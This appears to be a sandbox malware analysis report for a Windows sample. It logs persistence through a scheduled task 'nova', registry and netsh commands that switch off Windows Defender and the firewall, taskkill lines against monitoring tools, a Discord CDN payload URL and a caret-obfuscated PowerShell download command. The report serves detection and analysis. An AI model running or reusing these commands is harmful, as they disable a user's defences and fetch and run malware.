Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\nova
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
Downloads and executes
- https://cdn.discordapp.com/attachments/980309803446464552/980318087800827994/crypter_saled.exe
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM ProcessHacker.exe
- '<SYSTEM32>\taskkill.exe' /F /IM SpyTheSpy.exe
- '<SYSTEM32>\taskkill.exe' /F /IM procexp.exe
- '<SYSTEM32>\taskkill.exe' /F /IM cports.exe
- '<SYSTEM32>\taskkill.exe' /F /IM AntiLogger.exe
- '<SYSTEM32>\taskkill.exe' /F /IM MKN TaskExplorer.exe
- '<SYSTEM32>\taskkill.exe' /F /IM TCPEye.exe
- '<SYSTEM32>\taskkill.exe' /F /IM apateDNS.exe
- '<SYSTEM32>\taskkill.exe' /F /IM Network Analyzer.exe
- '<SYSTEM32>\taskkill.exe' /F /IM TCPView.exe
- '<SYSTEM32>\taskkill.exe' /F /IM NetworkMiner.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c P^o^w^e^r^S^h^e^l^l^ ^-^c^ ^S^e^t^-^C^o^n^t^e^n^t^ ^$^e^n^v^:^P^u^b^l^i^c^\^c^r^y^p^t^e^r^_^s^a^l^e^d^.^e^x^e^ ^-^V^a^l^u^e^ ^(^N^e^w^-^O^b^j^e^c^t^ ^S^y^s^t^e^m^.^N^e^t^.^W^e^b^C^l^i^e^n^t^...
Modifies file system
Creates the following files
- C:\users\public\crypter_saled.exe
- %TEMP%\explorer.exe
- %LOCALAPPDATA%\tempwin.exe
- %APPDATA%\nova.exe
- %TEMP%\tmpe475.tmp.bat
- nul
Deletes the following files
- %TEMP%\explorer.exe
Network activity
Connects to
- 'cd#.##scordapp.com':443
- 'no####65.ddns.net':1999
TCP
Other
- 'cd#.##scordapp.com':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK no####65.ddns.net
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%APPDATA%\nova.exe'
- 'C:\users\public\crypter_saled.exe'
- '%TEMP%\explorer.exe'
- '%LOCALAPPDATA%\tempwin.exe'
- '<SYSTEM32>\cmd.exe' /c ren %windir%\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy Microsoft.Windows.SecHealthUI_cw5n1h2txyewy.bak' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set allprofiles state off' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM NetworkMiner.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM TCPView.exe' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"' & exit' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM apateDNS.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM TCPEye.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM MKN TaskExplorer.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM AntiLogger.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM cports.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM procexp.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM SpyTheSpy.exe' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM ProcessHacker.exe' (with hidden window)
- '%TEMP%\explorer.exe' ' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM Network Analyzer.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c P^o^w^e^r^S^h^e^l^l^ ^-^c^ ^S^e^t^-^C^o^n^t^e^n^t^ ^$^e^n^v^:^P^u^b^l^i^c^\^c^r^y^p^t^e^r^_^s^a^l^e^d^.^e^x^e^ ^-^V^a^l^u^e^ ^(^N^e^w^-^O^b^j^e^c^t^ ^S^y^s^t^e^m^.^N^e^t^.^W^e^b^C^l^i^e^n^t^...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tmpE475.tmp.bat""
- '%WINDIR%\syswow64\cmd.exe' /c schtasks /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"' & exit
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f
- '%WINDIR%\syswow64\timeout.exe' 3
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c ren %windir%\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy Microsoft.Windows.SecHealthUI_cw5n1h2txyewy.bak
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v "NOC_GLOBAL_SETTING_TOASTS_ENABLED" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /C netsh advfirewall set allprofiles state off
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\cmd.exe' /c Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
- '%WINDIR%\syswow64\schtasks.exe' /create /f /sc onlogon /rl highest /tn "nova" /tr '"%APPDATA%\nova.exe"'
